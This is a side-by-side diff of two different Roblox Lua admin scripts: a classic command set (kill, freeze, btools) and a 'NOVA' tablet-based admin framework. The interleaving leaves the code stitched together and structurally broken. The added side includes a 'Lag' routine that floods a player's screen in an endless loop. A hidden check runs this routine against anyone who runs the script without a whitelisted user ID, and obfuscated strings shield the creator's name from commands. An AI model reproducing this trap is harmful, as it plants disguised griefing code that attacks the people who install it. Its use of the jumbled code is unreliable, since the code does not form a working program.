842 | + | --[[ GET RANKED TABLE ]]-- |
843 | - | if p:IsA("BasePart") then |
843 | + | function GetRankedTable(Player) |
844 | - | p.Transparency = 1 |
844 | + | Rtn = nil |
845 | - | elseif p:IsA("Hat") then |
845 | + | if type(Player) == "userdata" then |
846 | - | p:Destroy() |
846 | + | for _,v in pairs(NOVA.Ranked) do |
847 | if v.Name == Player.Name then | |
848 | Rtn = v | |
849 | - | v.Character.Parent = plr.Character |
849 | + | end |
850 | - | v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end) |
850 | + | end |
851 | elseif type(Player) == "string" then | |
852 | for _,v in pairs(NOVA.Ranked) do | |
853 | if v.Name == Player then | |
854 | Rtn = v | |
855 | end | |
856 | - | if msg:lower():sub(1,5) == "kill " then |
856 | + | end |
857 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
857 | + | else |
858 | - | for i, v in pairs(plrz) do |
858 | + | print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")") |
859 | end | |
860 | - | if v and v.Character then v.Character:BreakJoints() end |
860 | + | return Rtn |
861 | end | |
862 | ||
863 | --[[ GET RECURSIVE CHILDREN ]]-- | |
864 | function GetRecursiveChildren(Source, Name, SearchType, Children) | |
865 | - | if msg:lower():sub(1,8) == "respawn " then |
865 | + | if Source == nil then |
866 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
866 | + | Source = NOVA.Services |
867 | - | for i, v in pairs(plrz) do |
867 | + | end |
868 | if Name == nil or type(Name) ~= "string" then | |
869 | - | if v and v.Character then v:LoadCharacter() end |
869 | + | Name = "" |
870 | end | |
871 | if Children == nil or type(Children) ~= "table" then | |
872 | Children = {} | |
873 | end | |
874 | - | if msg:lower():sub(1,5) == "trip " then |
874 | + | if type(Source) == "userdata" then |
875 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
875 | + | pcall(function() |
876 | - | for i, v in pairs(plrz) do |
876 | + | for _, Child in pairs(Source:children()) do |
877 | pcall(function() | |
878 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
878 | + | if (function() |
879 | - | v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)) |
879 | + | if SearchType == nil or SearchType == 1 then |
880 | return string.match(Child.Name:lower(), Name:lower()) | |
881 | elseif SearchType == 2 then | |
882 | return string.match(Child.className:lower(), Name:lower()) | |
883 | elseif SearchType == 3 then | |
884 | return Child:IsA(Name) or Child:IsA(Name:lower()) | |
885 | - | if msg:lower():sub(1,5) == "stun " then |
885 | + | elseif SearchType == 4 then |
886 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
886 | + | return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower()) |
887 | - | for i, v in pairs(plrz) do |
887 | + | end |
888 | return false | |
889 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
889 | + | end)() then |
890 | - | v.Character.Humanoid.PlatformStand = true |
890 | + | table.insert(Children, Child) |
891 | end | |
892 | GetRecursiveChildren(Child, Name, SearchType, Children) | |
893 | end) | |
894 | end | |
895 | end) | |
896 | - | if msg:lower():sub(1,7) == "unstun " then |
896 | + | elseif type(Source) == "table" then |
897 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
897 | + | for _,Area in pairs(Source) do |
898 | - | for i, v in pairs(plrz) do |
898 | + | pcall(function() |
899 | for _, Child in pairs(Area:children()) do | |
900 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
900 | + | pcall(function() |
901 | - | v.Character.Humanoid.PlatformStand = false |
901 | + | if (function() |
902 | if SearchType == nil or SearchType == 1 then | |
903 | return string.match(Child.Name:lower(), Name:lower()) | |
904 | elseif SearchType == 2 then | |
905 | return string.match(Child.className:lower(), Name:lower()) | |
906 | elseif SearchType == 3 then | |
907 | - | if msg:lower():sub(1,5) == "jump " then |
907 | + | return Child:IsA(Name) or Child:IsA(Name:lower()) |
908 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
908 | + | elseif SearchType == 4 then |
909 | - | for i, v in pairs(plrz) do |
909 | + | return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower()) |
910 | end | |
911 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
911 | + | return false |
912 | - | v.Character.Humanoid.Jump = true |
912 | + | end)() then |
913 | table.insert(Children, Child) | |
914 | end | |
915 | GetRecursiveChildren(Child, Name, SearchType, Children) | |
916 | end) | |
917 | end | |
918 | - | if msg:lower():sub(1,4) == "sit " then |
918 | + | end) |
919 | - | local plrz = GetPlr(plr, msg:lower():sub(5)) |
919 | + | end |
920 | - | for i, v in pairs(plrz) do |
920 | + | else |
921 | print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")") | |
922 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
922 | + | end |
923 | - | v.Character.Humanoid.Sit = true |
923 | + | return Children |
924 | end | |
925 | ||
926 | --[[ GET REPLICATORS ]]-- | |
927 | function GetReplicators() | |
928 | Rtn = NOVA.Services.NetworkServer:GetChildren() | |
929 | - | if msg:lower():sub(1,10) == "invisible " then |
929 | + | for i=1,#Rtn do |
930 | - | local plrz = GetPlr(plr, msg:lower():sub(11)) |
930 | + | if not Rtn[i]:IsA("ServerReplicator") then |
931 | - | for i, v in pairs(plrz) do |
931 | + | table.remove(Rtn,i) |
932 | end | |
933 | - | if v and v.Character then |
933 | + | end |
934 | - | for a, obj in pairs(v.Character:children()) do |
934 | + | return Rtn |
935 | - | if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end |
935 | + | |
936 | ||
937 | --[[ GET RANKED ]]-- | |
938 | ||
939 | function GetRanked() | |
940 | local Rtn = {} | |
941 | for _,v in pairs(NOVA.Services.Players:GetPlayers()) do | |
942 | - | if msg:lower():sub(1,8) == "visible " then |
942 | + | if GetRank(v) ~= nil and GetRank(v) > 0 then |
943 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
943 | + | table.insert(Rtn,v) |
944 | - | for i, v in pairs(plrz) do |
944 | + | end |
945 | end | |
946 | - | if v and v.Character then |
946 | + | return Rtn |
947 | - | for a, obj in pairs(v.Character:children()) do |
947 | + | |
948 | - | if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end |
948 | + | |
949 | --[[ GTFO ]]-- | |
950 | function GTFO(v) | |
951 | coroutine.resume(coroutine.create(function() | |
952 | pcall(function() v:Remove() end) | |
953 | wait(0.5) | |
954 | pcall(function() NOVA.Services.Debris:AddItem(v,0) end) | |
955 | - | if msg:lower():sub(1,5) == "lock " then |
955 | + | end)) |
956 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
956 | + | |
957 | - | for i, v in pairs(plrz) do |
957 | + | --[[ GET RID OF ]]-- |
958 | function GetRidOf(v) | |
959 | - | if v and v.Character then |
959 | + | if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then |
960 | - | for a, obj in pairs(v.Character:children()) do |
960 | + | Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10) |
961 | - | if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end |
961 | + | else |
962 | coroutine.resume(coroutine.create(function() | |
963 | v:Destroy() | |
964 | end)) | |
965 | end | |
966 | end | |
967 | --[[ LAG ]]-- | |
968 | - | if msg:lower():sub(1,7) == "unlock " then |
968 | + | function Lag(v) |
969 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
969 | + | coroutine.resume(coroutine.create(function() |
970 | - | for i, v in pairs(plrz) do |
970 | + | if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then |
971 | OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4) | |
972 | - | if v and v.Character then |
972 | + | else |
973 | - | for a, obj in pairs(v.Character:children()) do |
973 | + | while wait() do |
974 | - | if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end |
974 | + | for i=1, 5 do |
975 | local Msg = Instance.new("Message",v.PlayerGui) | |
976 | Msg.Text = "JOO B LAGGIN NARB" | |
977 | local Hint = Instance.new("Hint",v.PlayerGui) Hint.Text = "JOO B LAGGIN NARB" | |
978 | end | |
979 | end | |
980 | local H = Instance.new("Hint",NOVA.Services.Workspace) | |
981 | - | if msg:lower():sub(1,8) == "explode " then |
981 | + | repeat |
982 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
982 | + | H.Text = v.Name.." be gettin' lagged." |
983 | - | for i, v in pairs(plrz) do |
983 | + | H.Parent = NOVA.Services.Workspace |
984 | wait() | |
985 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
985 | + | until v.Parent == nil |
986 | - | local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position |
986 | + | H:Remove() |
987 | end | |
988 | end)) | |
989 | end | |
990 | if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end | |
991 | --[[ GET TABLETS ]]-- | |
992 | - | if msg:lower():sub(1,4) == "age " then |
992 | + | |
993 | - | local plrz = GetPlr(plr, msg:lower():sub(5)) |
993 | + | function GetTablets(Player) |
994 | - | for i, v in pairs(plrz) do |
994 | + | local Rtn = {} |
995 | for _, Tablet in pairs(NOVA.Tablets) do | |
996 | - | if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end |
996 | + | if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then |
997 | if Tablet.Recipient.Value == Player then | |
998 | table.insert(Rtn, Tablet) | |
999 | end | |
1000 | end | |
1001 | - | if msg:lower():sub(1,5) == "fire " then |
1001 | + | end |
1002 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
1002 | + | --table.insert(_tablets,Instance.new("Model")) |
1003 | - | for i, v in pairs(plrz) do |
1003 | + | return Rtn |
1004 | end | |
1005 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1005 | + | |
1006 | - | local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl) |
1006 | + | --[[ REMOVE TABLETS ]]-- |
1007 | ||
1008 | function RemoveTablets(Player) | |
1009 | if Player == nil then | |
1010 | for _,v in pairs(NOVA.Tablets) do | |
1011 | coroutine.resume(coroutine.create(function() | |
1012 | - | if msg:lower():sub(1,7) == "unfire " then |
1012 | + | for i=1,10 do |
1013 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1013 | + | v.Part.Transparency = v.Part.Transparency + 0.05 |
1014 | - | for i, v in pairs(plrz) do |
1014 | + | v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025 |
1015 | v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1 | |
1016 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1016 | + | wait() |
1017 | - | for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end |
1017 | + | end |
1018 | v:remove() | |
1019 | end)) | |
1020 | end | |
1021 | else | |
1022 | for _,v in pairs(GetTablets(Player)) do | |
1023 | - | if msg:lower():sub(1,6) == "smoke " then |
1023 | + | coroutine.resume(coroutine.create(function() |
1024 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
1024 | + | for i=1,10 do |
1025 | - | for i, v in pairs(plrz) do |
1025 | + | v.Part.Transparency = v.Part.Transparency + 0.05 |
1026 | v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025 | |
1027 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1027 | + | v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1 |
1028 | - | local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl) |
1028 | + | wait() |
1029 | end | |
1030 | v:remove() | |
1031 | end)) | |
1032 | end | |
1033 | end | |
1034 | - | if msg:lower():sub(1,8) == "unsmoke " then |
1034 | + | |
1035 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
1035 | + | |
1036 | - | for i, v in pairs(plrz) do |
1036 | + | --[[ OUTPUT ]]-- |
1037 | function Output(Message, Color, Player, Stick, Func) | |
1038 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1038 | + | if Player == nil or Color == nil or Player == nil then |
1039 | - | for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end |
1039 | + | print("[NOVA.Output] Argument(s) missing or nil.") |
1040 | return | |
1041 | end | |
1042 | ||
1043 | Message = tostring(Message) | |
1044 | if type(Player) == "userdata" then | |
1045 | - | if msg:lower():sub(1,9) == "sparkles " then |
1045 | + | if Player.Character == nil or Player.Character.Head == nil then |
1046 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
1046 | + | return |
1047 | - | for i, v in pairs(plrz) do |
1047 | + | end |
1048 | end | |
1049 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1049 | + | if type(Player) == "string" then |
1050 | - | local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl) |
1050 | + | for _,v in pairs(GetPlayers(Player,"NOVA")) do |
1051 | Output(Message,Color,v,Stick,Func) | |
1052 | end | |
1053 | return | |
1054 | end | |
1055 | ||
1056 | - | if msg:lower():sub(1,11) == "unsparkles " then |
1056 | + | if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end |
1057 | - | local plrz = GetPlr(plr, msg:lower():sub(12)) |
1057 | + | |
1058 | - | for i, v in pairs(plrz) do |
1058 | + | local Model = Instance.new("Model",NOVA.Services.Workspace) |
1059 | table.insert(NOVA.Tablets, Model) | |
1060 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1060 | + | Model.Name = "Output:" .. NOVA.Bet .. Player.Name |
1061 | - | for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end |
1061 | + | |
1062 | local Part = Instance.new("Part",Model) | |
1063 | Part.Transparency = 0.5 | |
1064 | Part.CanCollide = false | |
1065 | Part.Locked = true | |
1066 | Part.Anchored = true | |
1067 | - | if msg:lower():sub(1,3) == "ff " then |
1067 | + | Part.Name = "Part" |
1068 | - | local plrz = GetPlr(plr, msg:lower():sub(4)) |
1068 | + | Part.TopSurface = "Smooth" |
1069 | - | for i, v in pairs(plrz) do |
1069 | + | Part.BottomSurface = "Smooth" |
1070 | Part.FormFactor = "Plate" | |
1071 | - | if v and v.Character then Instance.new("ForceField", v.Character) end |
1071 | + | Part.Color = Color |
1072 | Part.Size = Vector3.new(2, 0.4, 3) | |
1073 | Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7) | |
1074 | Part:BreakJoints() | |
1075 | ||
1076 | - | if msg:lower():sub(1,5) == "unff " then |
1076 | + | local Box = Instance.new("SelectionBox",Part) |
1077 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
1077 | + | Box.Name = "SelectionBox" |
1078 | - | for i, v in pairs(plrz) do |
1078 | + | Box.Adornee = Part |
1079 | Box.Color = BrickColor.new(Color.r, Color.g, Color.b) | |
1080 | - | if v and v.Character then |
1080 | + | Box.Transparency = 0.75 |
1081 | - | for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end |
1081 | + | |
1082 | if GetRankedTable(Player).Mesh == "Tablet" then | |
1083 | Mesh = Instance.new("SpecialMesh") | |
1084 | Mesh.Parent = Part | |
1085 | Mesh.TextureId = "http://www.roblox.com/asset?id=97689055" | |
1086 | Mesh.MeshId = "http://www.roblox.com/asset?id=97689497" | |
1087 | - | if msg:lower():sub(1,7) == "punish " then |
1087 | + | Mesh.MeshType = Enum.MeshType.FileMesh |
1088 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1088 | + | Box.Transparency = 1 |
1089 | - | for i, v in pairs(plrz) do |
1089 | + | elseif GetRankedTable(Player).Mesh == "Dominus" then |
1090 | Mesh = Instance.new("SpecialMesh") | |
1091 | - | if v and v.Character then |
1091 | + | Mesh.Parent = Part |
1092 | - | v.Character.Parent = game:service("Lighting") |
1092 | + | Mesh.TextureId = "http://www.roblox.com/asset/?id=83944043" |
1093 | Mesh.MeshId = "http://www.roblox.com/asset/?id=21057410" | |
1094 | Mesh.MeshType = Enum.MeshType.FileMesh | |
1095 | Box.Transparency = 1 | |
1096 | elseif GetRankedTable(Player).Mesh == "Orb" then | |
1097 | Mesh = Instance.new("SpecialMesh") | |
1098 | - | if msg:lower():sub(1,9) == "unpunish " then |
1098 | + | Mesh.Parent = Part |
1099 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
1099 | + | Mesh.TextureId = "http://www.roblox.com/asset/?id=34914385" |
1100 | - | for i, v in pairs(plrz) do |
1100 | + | Mesh.MeshId = "http://www.roblox.com/asset/?id=34795798" |
1101 | Mesh.MeshType = Enum.MeshType.FileMesh | |
1102 | - | if v and v.Character then |
1102 | + | Box.Transparency = 1 |
1103 | - | v.Character.Parent = game:service("Workspace") |
1103 | + | elseif GetRankedTable(Player).Mesh == "Spider" then |
1104 | - | v.Character:MakeJoints() |
1104 | + | Mesh = Instance.new("SpecialMesh") |
1105 | Mesh.Parent = Part | |
1106 | Mesh.TextureId = "http://www.roblox.com/asset/?id=64485392" | |
1107 | Mesh.MeshId = "http://www.roblox.com/asset/?id=64485380" | |
1108 | Mesh.Scale = Vector3.new(4, 4, 4) | |
1109 | Mesh.VertexColor = Vector3.new(1, 0, 0) | |
1110 | - | if msg:lower():sub(1,7) == "freeze " then |
1110 | + | Mesh.MeshType = Enum.MeshType.FileMesh |
1111 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1111 | + | |
1112 | - | for i, v in pairs(plrz) do |
1112 | + | end |
1113 | ||
1114 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
1114 | + | |
1115 | - | for a, obj in pairs(v.Character:children()) do |
1115 | + | local Recipient = Instance.new("ObjectValue",Model) |
1116 | - | if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0 |
1116 | + | Recipient.Name = "Recipient" |
1117 | Recipient.Value = Player | |
1118 | ||
1119 | Gui = Instance.new("BillboardGui") | |
1120 | Gui.Name = "BillboardGui" | |
1121 | Gui.Parent = Model | |
1122 | Gui.Adornee = Part | |
1123 | - | if msg:lower():sub(1,5) == "thaw " then |
1123 | + | Gui.Size = UDim2.new(1, 0, 1, 0) |
1124 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
1124 | + | Gui.StudsOffset = Vector3.new(0, 3, 0) |
1125 | - | for i, v in pairs(plrz) do |
1125 | + | local Frame = Instance.new("Frame",Gui) |
1126 | Frame.Name = "Frame" | |
1127 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
1127 | + | Frame.Size = UDim2.new(1, 0, 1, 0) |
1128 | - | for a, obj in pairs(v.Character:children()) do |
1128 | + | Frame.BackgroundTransparency = 1 |
1129 | - | if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16 |
1129 | + | Label = Instance.new("TextLabel") |
1130 | Label.Name = "Label" | |
1131 | Label.Parent = Frame | |
1132 | Label.Size = UDim2.new(1,0,1,0) | |
1133 | Label.FontSize = "Size12" | |
1134 | Label.TextColor3 = Color | |
1135 | Label.Text = Message | |
1136 | - | if msg:lower():sub(1,5) == "heal " then |
1136 | + | Label.BackgroundTransparency = 1 |
1137 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
1137 | + | |
1138 | - | for i, v in pairs(plrz) do |
1138 | + | Gui.Adornee = Part |
1139 | local Click = Instance.new("ClickDetector",Part) | |
1140 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
1140 | + | Click.MaxActivationDistance = 9201 |
1141 | - | v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth |
1141 | + | Click.MouseClick:connect(function(player) |
1142 | if player == Player or GetRank(player) > GetRank(Player) then | |
1143 | if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss") then | |
1144 | RemoveTablets(Player) | |
1145 | else | |
1146 | coroutine.resume(coroutine.create(function() | |
1147 | - | if msg:lower():sub(1,4) == "god " then |
1147 | + | for i=1,10 do |
1148 | - | local plrz = GetPlr(plr, msg:lower():sub(5)) |
1148 | + | Part.Transparency = Part.Transparency + 0.05 |
1149 | - | for i, v in pairs(plrz) do |
1149 | + | Box.Transparency = Box.Transparency + 0.025 |
1150 | Label.TextTransparency = Label.TextTransparency + 0.1 | |
1151 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
1151 | + | wait() |
1152 | - | v.Character.Humanoid.MaxHealth = math.huge |
1152 | + | end |
1153 | - | v.Character.Humanoid.Health = 9e9 |
1153 | + | Model:remove() |
1154 | end)) | |
1155 | ||
1156 | Func(player) | |
1157 | end | |
1158 | end | |
1159 | - | if msg:lower():sub(1,6) == "ungod " then |
1159 | + | end) |
1160 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
1160 | + | |
1161 | - | for i, v in pairs(plrz) do |
1161 | + | coroutine.resume(coroutine.create(function() |
1162 | if Stick == 0 or Stick == nil then else | |
1163 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
1163 | + | pcall(function() |
1164 | - | v.Character.Humanoid.MaxHealth = 100 |
1164 | + | --[[for i=Stick,0,-0.5 do |
1165 | - | v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth |
1165 | + | Label.Text = Message .. "\t(" .. i .. ")" |
1166 | wait(0.5) | |
1167 | end | |
1168 | Model:Destroy()]] | |
1169 | NOVA.Services.Debris:AddItem(Model,Stick) | |
1170 | end) | |
1171 | - | if msg:lower():sub(1,8) == "ambient " then |
1171 | + | end |
1172 | - | local chk1 = msg:lower():sub(9):find(" ") + 8 |
1172 | + | end)) |
1173 | - | local chk2 = msg:sub(chk1+1):find(" ") + chk1 |
1173 | + | |
1174 | - | game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1)) |
1174 | + | return Click |
1175 | end | |
1176 | ||
1177 | - | if msg:lower():sub(1,11) == "brightness " then |
1177 | + | -- [ IMAGE OUTPUT ]]-- |
1178 | - | game.Lighting.Brightness = msg:sub(12) |
1178 | + | function OutputImg(Image,Text,Color,Player,Stick,Func) |
1179 | Tab = Output(Text,Color,Player,Stick,Func) | |
1180 | ||
1181 | - | if msg:lower():sub(1,5) == "time " then |
1181 | + | BBG = Instance.new("BillboardGui",Tab.Parent) |
1182 | - | game.Lighting.TimeOfDay = msg:sub(6) |
1182 | + | BBG.Size = UDim2.new(5,0,6,0) |
1183 | BBG.StudsOffset = Vector3.new(0, 7, 0) | |
1184 | BBG.Adornee = Tab.Parent | |
1185 | - | if msg:lower():sub(1,9) == "fogcolor " then |
1185 | + | |
1186 | - | local chk1 = msg:lower():sub(10):find(" ") + 9 |
1186 | + | Img = Instance.new("ImageLabel",BBG) |
1187 | - | local chk2 = msg:sub(chk1+1):find(" ") + chk1 |
1187 | + | Img.Size = UDim2.new(1,0,1,0) |
1188 | - | game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1)) |
1188 | + | Img.BackgroundTransparency = 1 |
1189 | Img.Image = Image--"http://www.roblox.com/asset/?id=45120559" | |
1190 | return Tab | |
1191 | - | if msg:lower():sub(1,7) == "fogend " then |
1191 | + | |
1192 | - | game.Lighting.FogEnd = msg:sub(8) |
1192 | + | |
1193 | --[[ OUTPUT MULTI ]]-- | |
1194 | ||
1195 | - | if msg:lower():sub(1,9) == "fogstart " then |
1195 | + | function OutputMulti(Msg,Color,Players,Stick,Func) |
1196 | - | game.Lighting.FogStart = msg:sub(10) |
1196 | + | --if type(Players) == "Table" then |
1197 | for _,v in pairs(Players) do | |
1198 | Output(Msg,Color,v,Stick,Func) | |
1199 | - | if msg:lower():sub(1,7) == "btools " then |
1199 | + | end |
1200 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1200 | + | --end |
1201 | - | for i, v in pairs(plrz) do |
1201 | + | |
1202 | ||
1203 | - | if v and v:findFirstChild("Backpack") then |
1203 | + | --[[ UPDATE TABLETS ]]-- |
1204 | - | local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool" |
1204 | + | |
1205 | - | local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone" |
1205 | + | function UpdateTablets() |
1206 | - | local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer" |
1206 | + | --pcall(function() |
1207 | - | local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize" |
1207 | + | NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease |
1208 | - | local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[ |
1208 | + | for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do |
1209 | - | repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui") |
1209 | + | local Tablets = GetTablets(Player) |
1210 | - | local sb |
1210 | + | local Counter = 0 |
1211 | - | local hs |
1211 | + | local StartCF = CFrame.new(0,0,0) |
1212 | - | local pdist |
1212 | + | |
1213 | for i = 180, -180, -360/(#Tablets ) do | |
1214 | - | script.Parent.Selected:connect(function(mouse) |
1214 | + | pcall(function() |
1215 | - | if not mouse then return end |
1215 | + | Counter = Counter + 1 |
1216 | - | sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil |
1216 | + | if NOVA.TabletPositionRelative == true then |
1217 | - | hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil |
1217 | + | StartCF = Player.Character.Torso.CFrame |
1218 | - | mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end) |
1218 | + | else |
1219 | - | hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end) |
1219 | + | StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z) |
1220 | - | hs.MouseButton1Down:connect(function() pdist = 0 end) |
1220 | + | end |
1221 | Tablets[Counter].Part.CFrame = StartCF | |
1222 | * CFrame.new(0, 0, 0) | |
1223 | - | script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false |
1223 | + | * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0) |
1224 | * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1))) | |
1225 | * CFrame.Angles(math.rad(70), 0, 0) | |
1226 | end) | |
1227 | end | |
1228 | ||
1229 | - | if msg:lower():sub(1,12) == "startergive " then |
1229 | + | if #Tablets == 1 then |
1230 | - | local chk1 = msg:lower():sub(13):find(" ") + 12 |
1230 | + | pcall(function() |
1231 | - | local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1)) |
1231 | + | Tablets[1].Part.CFrame = Player.Torso.CFrame |
1232 | - | for i, v in pairs(plrz) do |
1232 | + | * CFrame.new(0, 0, 0) |
1233 | * CFrame.Angles(0, math.rad(0), 0) | |
1234 | - | if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then |
1234 | + | * CFrame.new(0, 0, -5) |
1235 | - | for a, tool in pairs(game.Lighting:children()) do |
1235 | + | * CFrame.Angles(math.rad(70), 0, 0) |
1236 | - | if tool:IsA("Tool") or tool:IsA("HopperBin") then |
1236 | + | end) |
1237 | - | if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end |
1237 | + | end |
1238 | end | |
1239 | wait() | |
1240 | --end) | |
1241 | end | |
1242 | --[[ GET PLAYERS RAW ]]-- | |
1243 | function GetPlayersRaw() | |
1244 | return NOVA.Services.Players:GetPlayers() | |
1245 | - | if msg:lower():sub(1,5) == "give " then |
1245 | + | |
1246 | - | local chk1 = msg:lower():sub(6):find(" ") + 5 |
1246 | + | |
1247 | - | local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) |
1247 | + | --[[ GET PLAYERS ]]-- |
1248 | - | for i, v in pairs(plrz) do |
1248 | + | function GetPlayers(Name,Speaker) |
1249 | if type(Player) == string or Player == nil then Player = Instance.new("Model") end | |
1250 | - | if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then |
1250 | + | local OldName = Name |
